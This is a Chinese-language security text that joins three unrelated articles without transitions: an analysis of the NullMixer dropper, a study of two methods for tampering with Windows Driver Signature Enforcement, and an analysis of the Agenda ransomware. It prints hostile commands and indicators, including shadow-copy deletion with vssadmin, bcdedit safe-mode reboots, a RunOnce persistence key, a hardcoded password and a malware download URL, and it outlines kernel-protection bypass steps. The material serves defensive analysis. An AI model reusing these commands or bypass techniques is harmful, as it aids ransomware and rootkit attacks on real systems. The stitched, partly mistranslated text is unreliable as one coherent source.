NullMixer 介紹NullMixer是一個投放程序,它包含的不僅僅是特定的惡意軟件家族,也會投放各種惡意二進製文件來感染計算機,比如後門程序、銀行程序、下載程序、間諜軟件和許多其他程序。

NullMixer 執行鏈當用戶從下載的受密碼保護的壓縮文件中提取“win-setup-i864.exe”文件並運行它時,感染就開始了。 “win-setup-i864.exe”文件是一個NSIS(Nullsoft Scriptable Install System)安裝程序,是很多軟件開發者使用的非常流行的安裝工具。在本文的示例中,它投放並啟動了另一個文件“setup_installer.exe”,這實際上是一個包含在Windows 可執行文件中的SFX 壓縮文件“7z Setup SFX”。 “setup_installer.exe”文件投放了數十個惡意文件。但它沒有啟動它們,而是啟動了一個可執行文件setup_install.exe,這是一個NullMixer啟動程序組件。 NullMixer 的啟動程序啟動所有投放的可執行文件。為此,它包含一個硬編碼文件名列表,並使用“cmd.exe”逐個啟動它們。

4.png

硬編碼到NullMixer啟動程序組件的文件列表

5.jpg

NullMixer 執行鏈

它還嘗試使用以下命令行更改Windows Defender 設置。

6.png

在啟動所有已投放的文件後,NullMixer 啟動程序會立即向CC 發送關於安裝成功的信標。此時,所有被投放和啟動的惡意文件都留在了它們自己的設備中。很快就可以識別由NullMixer惡意軟件傳播的各種惡意二進製文件。

7.jpg

NullMixer 和它投放的惡意軟件家族

由於投放的惡意軟件家族數量非常大,本文只對每個家族進行簡要描述。

SmokeLoaderSmokeLoader(又名Smoke)是一種模塊化惡意軟件,自2011 年以來就廣為人知,通過網絡釣魚電子郵件和偷渡式下載(drive-bydownload)分發。多年來,它通過附加模塊不斷擴展其功能。例如,添加禁用Windows Defender 和反分析技術。

與使用硬編碼靜態URL 下載惡意文件的最簡單下載程序相比,SmokeLoader 用CC 通信以接收和執行下載任務。

RedLine StealerRedLine Stealer 自2020 年初就為人所知,並一直持續到2021 年。眾所周知,該惡意軟件在網絡論壇上出售,並通過釣魚郵件傳播。

另一種傳播RedLine Stealer的新方法是誘使Windows 10用戶獲得虛假的Windows 11升級。當用戶下載並執行二進製文件時,他們實際上是在運行惡意軟件。

RedLine的主要目的是從瀏覽器中竊取證書和信息,此外還從受感染的計算機上竊取信用卡詳細信息和加密貨幣錢包。此外,該惡意軟件還收集有關係統的信息,例如:用戶名、硬件詳細信息和已安裝的安全應用程序。

PseudoManuscryptPseudoManuscrypt 自2021 年6 月以來就廣為人知,並用作MaaS(惡意軟件即服務)。 PseudoManuscrypt並不針對特定的公司或行業,但據觀察,工業和政府組織,包括軍工複合體和研究實驗室的企業,是最嚴重的受害者。

該惡意軟件通過Glupteba等其他殭屍網絡傳播。 PseudoManuscrypt的的主要目的是通過從Firefox、谷歌Chrome、Microsoft Edge、Opera和Yandex瀏覽器中竊取cookie,通過使用ClipBanker插件進行鍵盤記錄和竊取加密貨幣來監視受害者。惡意軟件的一個顯著特徵是使用KCP協議下載額外的插件。

ColdStealerColdStealer 是一個相對較新的惡意程序,於2022 年被發現。與許多其他竊取程序一樣,它的主要目的是從Web 瀏覽器竊取憑據和信息,此外還竊取加密貨幣錢包、FTP 憑據、各種文件和有關係統的信息,例如操作系統版本、系統語言、處理程序類型和剪貼板數據。將被盜信息傳遞給攻擊者的唯一已知方法是將ZIP 壓縮文件發送到嵌入式控制中心。

8.png

ColdStealer Main() 函數

FormatLoaderFormatLoader 是一個下載程序,因為使用硬編碼的url作為格式字符串而得名,它需要填寫一個數字來獲取下載附加二進製文件的鏈接。可用的數字範圍也是硬編碼的。

9.png

FormatLoader 的主要目的是通過將二進製文件下載到受感染的計算機上來用額外的惡意文件感染計算機。為此,惡意軟件將硬編碼範圍中的數字逐個添加到硬編碼格式字符串中,並訪問下載鏈接。

此外,FormatLoader 使用第三方網站服務來跟踪受感染的計算機。它將“GET”請求發送到IP 記錄程序服務的特定URL,該服務收集IP 地址和基於IP 的地理位置等信息。

CsdiMonetize眾所周知,CsdiMonetize 是一個廣告平台,用於在感染用戶計算機後以按安裝付費的方式安裝許多不同的PUA(潛在不需要的應用程序)。後來,CsdiMoneitze 不僅用PUA 感染他們的受害者,還開始用真正的木馬感染他們的受害者,比如Glupteba 惡意軟件。

如今,CsdiMonetize 使用其他惡意軟件家族類型感染其受害者,例如:Fabookie、Disbuk、PseudoManuscrypt 等。

10.jpg

Csdi 執行鏈

感染從NSIS 安裝程序“61f665303c295_Sun1059d492746c.exe”開始,它會下載Csdi 安裝程序“MSEkni.exe”。 Csdi 安裝程序從CC 請求當前配置以及要安裝的其他Csdi 組件列表。配置以加密和base64 編碼的形式存儲在多個註冊表項中。下一步是下載其他組件,最值得注意的是發布者和更新程序組件。 Csdi 發布者組件負責通過使用URL 作為命令行參數啟動瀏覽器來顯示廣告。更新程序組件負責按安裝付費服務。它接收來自CC 的URL 列表以及有關如何投放和執行下載文件的說明。

Disbuk眾所周知,Disbuk(又名Socelar)將自己偽裝成合法的應用程序,例如PDF 編輯程序軟件。

該惡意軟件主要針對Facebook廣告,並通過訪問瀏覽器的SQLite數據庫從Chrome和Firefox盜取Facebook會話cookie。在檢索這些信息後,惡意軟件試圖提取額外的信息,惡意軟件會嘗試提取訪問令牌、帳戶ID 等附加信息。經過進一步發展,Disbuk 也開始檢索Amazon cookie。

除了竊取數據,Disbuk 還安裝了一個偽裝成谷歌翻譯擴展的惡意瀏覽器擴展。

FabookieFabookie 是另一個針對Facebook 廣告的竊取程序。它的功能類似於Disbuk 惡意軟件,包括從瀏覽器中竊取Facebook 會話cookie,使用Facebook Graph API 查詢來接收有關用戶帳戶、關聯支付方式、餘額、朋友等額外信息。被盜的憑據稍後可用於運行來自受感染帳戶的廣告。

與Disbuk 不同的是,該惡意軟件不包含內置的惡意瀏覽器擴展,但包含兩個嵌入式NirSoft 實用程序“Chrome Cookies View”和“Web Browser Password Viewer”,用於從瀏覽器中提取數據。

DanaBotDanaBot 是一種用Delphi 編寫的銀行木馬,它通過電子郵件網絡釣魚進行傳播,自2018 年被發現以來一直在迭代。

DanaBot 是一種模塊化惡意軟件,包括各種附加模塊,這些模塊最流行的功能是從受感染的計算機中竊取信息,並將虛假表格注入流行的電子商務和社交媒體網站以收集支付數據。它還可以通過遠程桌面提供對受感染系統的完全訪問,或通過使用VNC 插件訪問鼠標和鍵盤。

RacealerRacealer(又名RaccoonStealer)是一種竊取型惡意軟件,主要從受感染的計算機中竊取用戶憑據並洩露數據。

自2019 年被發現以來,Racoon 也經過了多次迭代。例如,它現在使用Telegram 來檢索CC IP 地址和惡意軟件配置。現在,它還可以從惡意軟件的CC 下載其他模塊,這些模塊也用於提取憑據。

Generic.ClipBankerGeneric.ClipBanker 是一種剪貼板劫持者惡意軟件,它監控受感染計算機的剪貼板,並專門搜索加密貨幣地址以替換它們。當用戶複製加密貨幣錢包的地址時,惡意軟件會將錢包地址替換為他們自己的加密貨幣錢包地址,因此最終用戶會將加密貨幣(例如比特幣)發送給他們,而不是發送到預期的錢包地址。

11.png

使用來自Generic.ClipBanker 二進製文件的加密貨幣地址進行篩選

SgnitLoaderSgnitLoader 是一個用C# 編寫的小型木馬下載程序,二進制大小約為15 KB。但是,原始文件是用Obsidium 打包的,這使得二進製文件的大小增長到400 多字節。

SgnitLoader 在其二進製文件中包含一些硬編碼的域,它會附加路徑並添加一個從1 到7 的數字。與FormatLoader 惡意軟件不同,它不使用格式字符串,而只是在末尾添加一個數字字符串以獲取完整的URL。

12.png

下載和執行過程完成後,SgnitLoader 通過“GET”請求ping 回CC。原始的pingback URL隱藏在' iplogger.org ' URL縮短服務中。

ShortLoader另一個用c#編寫的小型木馬下載程序。它的二進製文件是sgitloader大小的一半。它的主要功能代碼相當短,它使用“IP Logger”URL縮短服務來隱藏它下載有效負載的原始URL。這就是為什麼它被稱為ShortLoader。

13.png

ShortLoader Main() 函數

Downloader.INNO原始文件是利用“Inno Download Plugin”下載功能的“Inno Setup”安裝程序。

該安裝腳本被編程為從URL ' http://onlinehueplet[.]com/77_1.exe '下載一個文件,將其作為' dllhostwin.exe '放置到' %TEMP% '目錄中,並使用字符串' 77 '作為參數執行它。

14.png

Inno Setup 安裝腳本的一部分

下載的文件屬於Satacom Trojan-Downloader 家族。然而,在研究過程中,研究人員發現該文件在服務程序上被替換為合法的PuTTY 軟件(一種流行的SSH 客戶端)。

LgoogLoader該文件是另一個使用Microsoft Cabinet壓縮文件格式的軟件安裝程序。執行後,它會投放三個文件:一個批處理文件、一個帶有剝離的可執行文件標頭的AutoIt 解釋程序和一個AutoIt 腳本。然後它使用“cmd.exe”執行批處理文件。批處理文件的任務是恢復AutoIt 解釋程序可執行文件,並使用AutoIt 腳本的路徑作為命令行參數啟動它。

AutoIt 腳本執行一些AntiVM 和AntiDebug 檢查。如果所有檢查都成功,那麼它會再次啟動AutoIt 解釋程序,解密並解壓嵌入的可執行文件並將其註入新創建的進程。注入的可執行文件是LgoogLoader。

LgoogLoader是一個木馬下載程序,它從硬編碼的靜態URL下載加密的配置文件。然後對配置進行解密,從中提取額外的url,下載並執行最終的有效負載。它被稱為LgoogLoader,因為它使用了來自“谷歌隱私政策”的字符串。

15.png

LgoogLoader 二進製文件中的Google 隱私政策字符串

Downloader.Bitser原始文件是一個試圖安裝PUA: Lightening Media Player的NSIS安裝程序。該文件由csdimonealize的更新程序組件(MD5: 98f0556a846f223352da516af66fa1a0)下載。然而,安裝腳本不僅被配置為設置lighightmedia Player,還被配置為運行內置的Windows實用程序“bitsadmin”來下載額外的文件,這就是我們將其稱為Bitser的原因。在本文的示例中,該實用程序在NSIS 安裝程序的安裝腳本中使用,並用於下載受7z 密碼保護的壓縮文件。 7z 壓縮文件的密碼以及解包和執行說明也被硬編碼到安裝腳本中。

16.jpg

Downloader.Bitser 的感染鏈

一個合法的7-Zip 獨立控制台應用程序由安裝程序以名稱“data_load.exe”投放,並使用參數啟動以從下載的壓縮文件中解壓縮文件。

17.png

部分帶有下載和執行指令的NSIS 腳本

C-JokerC-Joker 是一個非常簡單的Exodus 錢包竊取程序。它使用Telegram API 發送有關安裝成功或失敗的通知。為了竊取憑據,它會下載“app.asar”文件的後門版本,並替換了來自Exodus錢包的原始文件。

18.png

C-Joker 二進製文件中的字符串

SatacomSatacom 也稱為LegionLoader。 Satacom 於2019 年被發現,它使用了不同的反分析技巧,這些技巧可能是從al-khazer 中藉鑑來的。嵌入式用戶代理因樣本而異,但在本文的示例中,用戶代理是“deus vult”。

19.png

Satacom 二進製文件中的字符串

最新版本從TXT-record 接收主控中心地址。 Satacom 向‘reosio.com’發送一個DNS TXT 查詢,並接收一個帶有base64 編碼字符串的響應。

20.png

Satacom DNS 請求和響應

使用XOR 密鑰“DARKMATTER”解碼和解密後,它會得到真正的CC URL“banhamm.com”。

Windows DSE(Driver Signature Enforcement)即任何驅動程序或第三方程式都要經過微軟簽名才能確保為正版、安全的程序。代碼完整性是15 年前由Microsoft 首次推出的威脅防護功能。在基於x64 的Windows 版本上,內核模式驅動程序必須在每次加載到內存時進行數字簽名和檢查,這也被稱為驅動強制簽名(DSE),檢測是否將未簽名的驅動程序或系統文件加載到內核中,或系統文件是否被修改(可能由具有管理權限的惡意軟件運行),可以提高操作系統的安全性。

為了克服這些限制,攻擊者使用有效的數字證書(無論是頒發給他們的還是他們竊取的)或者他們在運行時禁用DSE。獲得證書的難度很大,但篡改證書則純粹是一個技術上的挑戰。

儘管微軟近年來一直在致力於解決驅動強制簽名方面存在的問題,並提供了一系列解決方案,但利用眾所周知,篡改DSE的方法越來越多,用此方法攻擊的案例也明顯增加,這促使我們要深入地研究這個問題。

我們會在本文分享我們的研究結果,以及兩種DSE篡改方法的細節。

DSE實現過程j00ru是谷歌項目Zero的一名安全研究員,他層發表了一篇關於Windows 7中代碼完整性實現的介紹。

ntoskrnl.exe與附加的內核庫CI.dll(代碼完整性)一起工作。在操作系統初始化階段,內核設置nt!g_CiEnabled 並使用指向nt!g_CiCallbacks 結構的指針調用CI!CiInitialize 例程來初始化CI.dll。它依次設置CI!g_CiOptions 並在返回內核之前填充CI!CiValidateImageHeader、CI!CiValidateImageData 和CI!CiQueryInformation 回調的地址。

要使用回調函數,包裝器函數存在於ntoskrnl.exe中。他們檢查那個nt!g_CiEnabled設置為TRUE,適當的回調不是NULL,然後調用它。

當內核加載驅動程序時,執行通過nt!MmLoadSystemImage 到nt!MmCreateSection 並最終到nt!MiValidateImageHeader 例程。這樣,依次調用nt!SeValidateImageHeader 和nt!SeValidateImageData 包裝器。每個回調都應在成功時返回零,否則返回非零值。

fig1.webp.jpg

驅動程序加載時的調用堆棧

“Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats”一書詳細說明了Windows 8 中的實現更改過程:刪除nt!g_CiEnabled 變量,因此DSE 狀態僅由CI!g_CiOptions 確定,更多回調函數被添加到CI.dll提供的接口中。書中沒有描述的另一個變化是,如果驗證標頭成功,那麼驗證數據回調將不會被調用。

在Windows 8.1上,回調結構的符號名稱被更改為nt!SeCiCallbacks。

內核模式簽名策略除了簽名的加密有效性之外,微軟強制簽名證書只能由支持CA 的交叉證書頒發。這可以防止攻擊者簡單地在每台計算機上安裝自己的CA證書。

從Windows 10Redstone開始(2016年8月發布),驅動程序簽名策略有所改變,需要微軟自己進行第二次簽名。這是通過一個web門戶網站完成的,在那裡開發人員上傳他們的簽名二進製文件,並將它們發送給微軟。從攻擊者的角度來看,這意味著將你的有效載荷傳播給防御者,這與他們通常想要的相反。至少有一個記錄在案的案例表明,這種新措施沒有阻止攻擊者。

內核補丁保護KPP 或PatchGuard 於2005 年首次推出,是x64 版Windows 的一項功能,可防止修補內核。 “修補內核”是指修改ntoskrnl.exe 和其他關鍵系統驅動程序和數據結構(SSDT、IDT、GDT 等)的代碼。

它通過定期檢查這些受保護區域是否被修改而工作。如果檢測到系統被修改,則會觸發藍屏,使系統停止。 PatchGuard在每一個新的Windows版本中都會更新,這使得攻擊者很難開發出適用於所有版本的通用繞過技術。

ntoskrnl.exe中的回調結構和CI!g_CiOptions變量分別從Windows 8和Windows 8.1開始受PatchGuard保護。

DSE在野外被篡改儘管j00ru 得出結論,重寫nt!g_CiEnabled 或CI!g_CiOptions 等私有符號可能相對困難,但這正是攻擊者選擇的方向。眾所周知,臭名昭著的Turla APT 開發了這種技術,安全研究人員對其進行了逆向工程並發布了他們的代碼。

這些私有符號通過簡單的模式匹配來定位,幾乎不需要任何更改:

fig2.webp.jpg

常規PTE 順著SLAT PTE 突出顯示差異

在x86架構上,SLAT pte (Page Table Entries)處理權限不同於常規的PTE:讀\寫權限是分開的,執行權限需要顯式設置,並且只能為ring 0(內核模式)授權。 hypervisor使用SLAT 頁表來強制VTL 之間的隔離並使VTL1 可以訪問它們,所以安全內核使用它們來實現VBS特性,而hypervisor本身並不為這些功能本身實現任何代碼/邏輯。

受HyperVisor 保護的代碼完整性HVCI,最初稱為Device Guard,是隨著VBS 的引入而發布的,這是完整性執行的另一層。

加載新驅動程序後,安全內核也會被觸發並使用其自己的代碼完整性庫SKCI.dll(安全內核代碼完整性)實例。在Secure World (VTL1) 中的當前策略中驗證並檢查數字簽名以得到授權。只有這樣才能將可執行和不可寫權限應用於相應GPA 的SLAT 頁表。因此,NT 內核(VTL0) 不能修改任何以前加載的代碼或運行任何新代碼,而無需在進程中使用安全內核。

fig3.webp.jpg

Windows 10 SKCI.dll 中SkciInialize 及其自身CiOptions 變量的反彙編

內核數據保護KDP 旨在保護在Windows 內核(即操作系統代碼本身)中運行的驅動程序和軟件免受數據驅動的攻擊。它最初是在Windows 10 20H1 中引入的。

使用KDP,在內核模式下運行的軟件可以靜態(其自身映像的一部分)或動態(只能初始化一次的池內存)保護只讀內存。 KDP 僅在VTL1 中為支持受保護內存區域的GPA 建立寫保護,使用SLAT 頁表供管理程序強制執行。這樣,在NT 內核(VTL0) 中運行的任何軟件都不能擁有更改內存所需的權限。

KDP並不強制如何轉換受保護區域的GVA範圍映射,根據開發人員的介紹,KDP目前只定期驗證受保護的內存區域是否轉換為適當的GPA。

從Windows 11 開始,CI.dll 選擇使用靜態KDP (MmProtectDriverSection API) 來強化自身,將所有相關的CI 策略變量放置在名為“CiPolicy”的單獨部分中。

fig4.webp.jpg

Windows 11 中CI.dll 中CiInitializePolicy 和CiPolicy 部分的反彙編

驅動程序阻止列表這是通過Windows Defender 應用程序控制(WDAC) 或HVCI 策略強制執行的,目前已有一些第三方安全產品供應商也採用了這種做法。可以在此處找到最新的阻止列表。

阻止列表拒絕攻擊者輕鬆訪問內核寫入原語。雖然它非常有效,但它不是一種主動措施,只能處理以前發現的驅動程序。因此,這種緩解措施對驅動程序中的零日漏洞無效,防御者必須不斷追踪它們,始終落後於攻擊者一步。

新的篡改發現技術從上面的描述中,敏銳的讀者可以看到,如果沒有啟用HVCI,則可能在不進行任何代碼修補的情況下篡改DSE。

方法一:“頁面交換”

僅僅因為不再可能寫入CI!CiOptions 並不意味著它的值不能改變。該變量仍被虛擬地址訪問,並且每次都會發生到物理地址的轉換過程。因此,我們將改為更改翻譯結果。

通過將物理頁面從受KDP 保護的頁面交換到我們擁有的頁面,我們重新獲得了對內存的完全控制權。交換GPA 僅意味著更改PTE(頁表條目)中的PFN(頁幀號),它本質上只是另一個指針。

我們可以為任何給定的虛擬地址計算PTE 的虛擬地址,避免每次遍歷所有頁表。頁表位於Windows 內核用來管理分頁結構的虛擬內存區域中,稱為“PTE 空間”。 PTE Base 由KASLR(內核地址空間佈局隨機化)隨機化,從Windows 10 Redstone 開始。在之前的研究中,我們展示了一種可靠的方法來找到它。

除了寫入之外,執行此方法還需要內核讀取和內存分配原語。以下是C 偽代碼的分步實現過程:

fig5.webp.jpg

頁面交換的C偽代碼

可以使用來自用戶空間的頁面,因此內核內存分配原語變得多餘。對於CI.dll,可以使用變量的默認值而不是複制頁面。結果,內核空間的讀取次數顯著減少,因為只剩下少數必要的PTE 讀取。

方法二:“回調交換”有一段時間,KDP 似乎提高了防止DSE 篡改的門檻,因為頁面交換也需要內核讀取原語。我們再次查看了CI.dll 和ntoskrnl.exe 是如何集成的,然後我們想,“為什麼要使用CI.dll 呢?讓我們使用自己的回調而不是CI!CiValidateImageHeader”。

fig6.webp.jpg

回調交換演示

上圖證明無需讀取任何內核空間數據即可找到所有必要的地址,具體過程如下:

首先,在ntoskrnl.exe 中找到回調結構。該結構作為參數傳遞給CI!CiInitialize,這樣我們就可以從調用中獲得它的地址。內核只調用該函數一次,因此我們查找使用其導入表條目的CALL或JMP指令。找到調用站點後,返回到“.data”部分中指向未初始化內存的參數的寄存器分配。

fig7.webp.jpg

在Windows 11的ntoskrnl.exe中反彙編SepInitializeCodeIntegrity和SeCiCallbacks

接下來,尋找要使用的替換回調函數。我們需要一個不帶參數並返回零的函數。幸運的是,ntoskrnl.exe 有一些符合此要求的導出函數,例如FsRtlSyncVolumes 或ZwFlushInstructionCache,因此只需調用GetProcAddress 即可。

最後,找到要恢復的原始回調函數。回調由CI!CipInitialize 在結構中設置,因此它將引用所有回調。所有回調都設置在所有Windows 構建的單個基本代碼塊中。搜索這種指令模式,如下圖所示,並從lea 指令中提取偏移量。要驗證偏移量是否確實導致函數,遍歷PE 的異常目錄以查找具有相同起始地址的RUNTIME_FUNCTION 條目。

fig8.webp.jpg

Windows 11中CI.dll中CipInitialize的反彙編

KDP 保護被“設計”繞過,因為ntoskrnl.exe 沒有選擇使用回調結構。更改回調的另一個優點是篡改通過記錄的查詢系統信息API 不可見。

雖然解析地址可能需要多行代碼,但它是在用戶空間中完成的,因此只需要內核寫入原語,這與當前眾所周知的DSE 篡改方法相同。儘管PoC 向內核空間寫入了8 個字節(64 位指針的大小),但可以通過在CI.dll 中查找回調目標來減少這個數字。在撰寫本文時,來自TrustedSec的Adam Chester也發布了一篇最新的研究文章,他選擇了一種替代方法,通過掃描他創建的二進制簽名來找到原始回調。

緩解措施HVCI 涵蓋了所有篡改方法,因為它在加載驅動程序時執行自己的驗證。儘管HVCI 已經存在多年,但直到最近才在新的Windows 安裝中默認啟用。因此,我們一定要想出一個替代方案。

我們試圖找到一種方法來在驅動程序加載期間確認DSE 的狀態。此外,一個將支持程序的阻塞。在這一點上,如何獲得DSE 狀態的可見性應該是顯而易見的,防御者可以利用攻擊者用來查找內部變量的相同策略。畢竟,它已被證明是穩定的。

考慮到一個被篡改的狀態只能持續很短的時間,假設我們開始運行時系統狀態是有效的是合理的。此時,將保留內部變量的副本。

有3個選項可以攔截驅動程序加載:

1.在NtLoadDriver API 的用戶空間中放置一個鉤子。

2.使用註冊表回調來監視驅動程序註冊表項路徑上的操作。

3.使用文件系統微過濾器回調來創建驅動程序文件的部分(IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION)。

要知道回調是否作為驅動程序加載的一部分被觸發,它需要檢查當前進程是SYSTEM 並且調用堆棧源自ntoskrnl.exe 而不是任何其他驅動程序。

一旦驅動程序加載被攔截,通過檢查任何變量的變化來檢測DSE 篡改。此時,可以簡單地通過使用錯誤狀態代碼阻止I\O 請求或將變量恢復到其保存狀態來進行預防。

總結我們在本文中介紹了微軟如何嘗試在運行時保護DSE,並介紹了兩種新方法來篡改它並成功加載未簽名的驅動程序。

雖然HVCI 提供了最強大的解決方案,但我們共享了一種額外的方法來檢測和防止DSE 在運行時篡改。在內核模式下執行代碼對攻擊者仍然具有吸引力,因為它通常是破壞計算機上更高特權元素(例如管理程序、UEFI 和SMM)或擊敗終端安全產品的必備手段。我們可能會看到TTP 的轉變,由於驅動程序阻止列表,攻擊者會轉向使用更多的內核1日漏洞來利用未修補的漏洞。

隨著硬件輔助的安全功能變得越來越普遍,以及微軟致力於利用它們的努力,攻擊者利用DSE 篡改可能會在可預見的未來逐漸消失。儘管如此,配置錯誤和老舊系統仍將存在這種攻擊。

最近出現了一種用Go 語言編寫的新型勒索軟件,主要亞洲和非洲的醫療保健和教育企業。該勒索軟件稱為Agenda,對每個受害者進行自定義攻擊。當前用Go 語言(又名Golang)編寫的惡意軟件變得越來越普遍,這主要是因為Go 靜態編譯必要的庫,使安全分析變得更加困難。

根據名為“Qilin”的用戶(似乎與勒索軟件分銷商有關聯)的暗網帖子和勒索記錄,勒索軟件被稱為“Agenda”。

Agenda 可以在安全模式下重新啟動系統,並嘗試阻止許多特定於服務器的進程和服務,並且可以運行多種模式。我們收集的勒索軟件示例是為每個受害者定制的,它們包括唯一的公司ID 和洩露的帳戶詳細信息。

受害對象分析所有收集的示例都是用Go 編寫的64 位Windows PE(便攜式可執行文件)文件,它們針對的是基於Windows 的系統。傳播惡意軟件的組織針對的是印度尼西亞、沙特阿拉伯、南非和泰國的醫療保健和教育機構。每個勒索軟件示例都是為目標受害者定制的。我們的調查表明,示例洩露了帳戶、客戶密碼和用作加密文件擴展名的唯一公司ID。

我們認為,Qilin(或Agenda 勒索軟件組織)的附屬機構可以為每個受害者定制可配置的二進制有效載荷,包括公司ID、RSA密鑰等細節,以及數據加密前要阻止的進程和服務。另外,每家公司要求的贖金金額從5萬美元到80萬美元不等。

Agenda%201.jpg

Qilin勒索贖金示例

Agenda%202.jpg

Qilin勒索通知示例

與其他勒索軟件的相似之處我們注意到Agenda 與Black Basta、Black Matter 和REvil(又名Sodinokibi)勒索軟件之間存在一些相似之處。

在付費網站和Tor網站上用戶驗證的實施方面,Agenda與Black Basta和Black Matter非常相似。與此同時,Agenda與Black Basta和REvil共享了相同的函數,可以使用此命令更改Windows密碼並在安全模式下重啟:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

攻擊鏈在調查一起涉及該勒索軟件的示例時,我們發現其背後的攻擊者使用面向公眾的Citrix服務器作為入口點。我們認為攻擊者使用有效帳戶訪問此服務器,然後進入受害者的網絡。這是意料之中的,因為攻擊者使用有效和特權帳戶配置了勒索軟件。

攻擊者使用洩露的帳戶在Active Directory 上使用RDP,然後釋放用於掃描網絡的掃描工具Nmap.exe 和Nping.exe。接下來,計劃任務被組策略域設備推送。

Agenda%203.jpg

組策略推送的定時任務

微信截图_20220826123421.png

在計算機上創建的計劃任務

我們觀察到訪問Citrix 服務器和勒索軟件感染之間只有很短的時間:不到兩天。攻擊者似乎在第一天就掃描了網絡,然後創建了一個組策略對象(GPO),並將勒索軟件部署在受害者的設備上。

Agenda%20Ransomware%205.png

Agenda 勒索軟件的攻擊鏈

Agenda 勒索軟件是一個用Go 編寫的64 位Windows PE 文件。 Go 程序是跨平台且完全獨立的,這意味著即使系統上沒有安裝Go 解釋器,它們也能正常執行。這是可能的,因為Go 靜態編譯必要的庫(包)。

在執行時,該勒索軟件接受定義惡意軟件流程和功能的各種命令行參數,如下表所示。

-alter {int}:定義此子進程的端口號;

-encryption {value}:允許將嵌入加密器配置重新定義為自定義選項;

-ips {IP Address} :允許提供IP 地址;

-min-size {value}:定義要加密的最小文件大小(例如,1 KB、1 MB、1 GB、666 KB);

-no-proc:定義不會被阻止的進程;

-no-services:定義不會被阻止的服務;

-password {string}:定義登錄密碼;

-path {directory}:定義解析目錄的路徑,如果使用此標誌並將其置空,則將掃描所有目錄;

-safe:在安全模式下啟動;

-stat:使惡意軟件打印其配置(要阻止的進程和服務、加密等);

Agenda構建一個運行時配置來定義它的行為,包括它的公共RSA密鑰、加密條件、要終止的進程和服務列表、加密擴展、登錄憑證和贖金通知。 Agenda 的運行時配置組件表如下:

public_rsa_pem RSA:公鑰;

directory_black_list:不允許加密的目錄;

file_black_list:不允許加密的文件名;

file_pattern_black_list:不允許加密的文件擴展名;

process_black_list:要終止的進程;

win_services_black_list:終止服務;

company_id:加密擴展;

accounts:登錄憑據;

note:贖金通知。

作為其初始例程的一部分,Agenda 通過檢查此註冊表值數據中的字符串safeboot 來確定被攻擊的設備是否在安全模式下運行:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control SystemStartOptions

如果它檢測到設備正在安全模式下運行,則終止執行。

然後,勒索軟件通過執行vssadmin.exe delete shadows /all /quiet 刪除卷影副本,並終止運行時配置中指出的特定進程和服務,其中一些是與防病毒相關的進程和服務。

8.1.png

Agenda 終止的一些與防病毒相關的進程和服務

在其初始例程之後,Agenda 繼續創建runonce 自動啟動條目*aster 指向enc.exe,它是Public 文件夾下自身的一個已刪除副本:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce*aster=%Public%\enc.exe

更改用戶密碼並以安全模式重新啟動Agenda 還在加密過程中部署了一種檢測規避技術:它會更改默認用戶的密碼並使用新的登錄憑據啟用自動登錄。可以使用-safe 命令行參數啟用此功能。與REvil 類似,Agenda 以安全模式重新啟動受害者的設備,然後在重新啟動時繼續執行加密程序。

首先,Agenda 會列出在設備上找到的所有本地用戶,然後檢查哪一個被設置為默認用戶。

Agenda%20blog%206%20v1.jpg

Agenda 用於從本地用戶中確定默認用戶的函數

找到默認用戶後,Agenda 將用戶的密碼更改為Y25VsIgRDr。

Agenda%20blog%207%20v2.jpg

Agenda 用於更改默認用戶密碼的函數

然後它繼續配置Winlogon 註冊表項,將數據設置為以下每個值:

8.png

Agenda 配置的Winlogon 註冊表項

更改默認用戶密碼並啟用自動登錄後,Agenda 通過以下命令以安全模式重新啟動受害者的設備:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

加密後,勒索軟件還會使用以下命令以正常模式重啟計算機:

C:\Windows\System32\bcdedit.exe/setsafebootnetworkbcdedit/deletevalue{default}safeboot

冒充合法賬戶Agenda 的另一個函數是它能夠濫用本地帳戶憑據來執行勒索軟件二進製文件,在其運行時配置中使用嵌入式登錄憑據。

9.png

Agenda的嵌入式本地帳戶憑據

Agenda通過在運行時配置中解析帳戶開始用戶模擬,然後將它們劃分為用戶名、域和密碼。它將使用這些數據嘗試通過API LogonUserW將用戶登錄到本地計算機上。

Agenda%20blog%2010.jpg

Agenda 用於解析運行時配置中的accounts 字段的函數

Agenda%2011.jpg

使用已解析帳戶執行登錄的Agenda

然後,Agenda 繼續生成一個隨機端口號,它將通過API CreateProcessAsUserW 與命令行參數-alter 一起用於執行勒索軟件二進製文件。

12.png

使用-alter 參數創建新進程的Agenda

允許網絡共享Agenda還與整個網絡及其共享驅動程序的攻擊有關。它不僅僅是關於在一個工作站上加密數據。

勒索軟件會添加一個註冊表,然後重新啟動LanmanWorkstation 服務。添加新註冊表後,它使用啟用映射驅動器驅動程序中的鍵[EnableLinkedConnections=1],然後重新啟動LanmanWorkstation 服務。這將允許Agenda 在cmd 等提升程序中列出網絡驅動器。

Agenda%20blog%2013.jpg

Agenda將EnableLinkedConnection的註冊表值更改為1

Agenda%20blog%2014.jpg

Agenda重啟LanmanWorkstation 服務

加密算法

Agenda使用AES-256加密文件,使用RSA-2048加密生成的密鑰。為此,它首先使用函數generateKye生成用於加密的密鑰和初始化向量(IV),然後使用API rand_read()。

15.png

Agenda用於生成隨機密鑰的函數

使用這個隨機生成的密鑰,Agenda 繼續使用AES-256 來加密目標文件。最後,它通過運行時配置中的嵌入式公鑰使用RSA-2048 對密鑰進行加密。

成功加密後,Agenda通過附加運行時配置中指定的公司ID來重命名加密的文件。然後它會在每個加密的目錄中釋放贖金通知{company_id}-RECOVER-README.txt。

Agenda%2016.jpg

Agenda 的贖金通知

進程注入Agenda 將pwndll.dll(檢測為Trojan.Win64.AGENDA.SVT)釋放在Public 文件夾中。文件pwndll.dll 是用C 語言而不是Go編寫的合法DLL WICloader.dll 的打了補丁DLL。 Agenda 將此DLL 注入svchost.exe 中,以允許連續執行勒索軟件二進製文件。

Agenda%20blog%2017.jpg

將pwndll.dll 注入svchost.exe 的Agenda

Agenda%20blog%2018.jpg

使用pwndll.dll 執行勒索軟件示例的Agenda

總結勒索軟件不斷發展,開發出更複雜的方法和技術來發起攻擊。如上所述,新的有針對性的勒索軟件Agenda是如何用Go 語言編寫的,這使得檢測和分析變得更加困難。

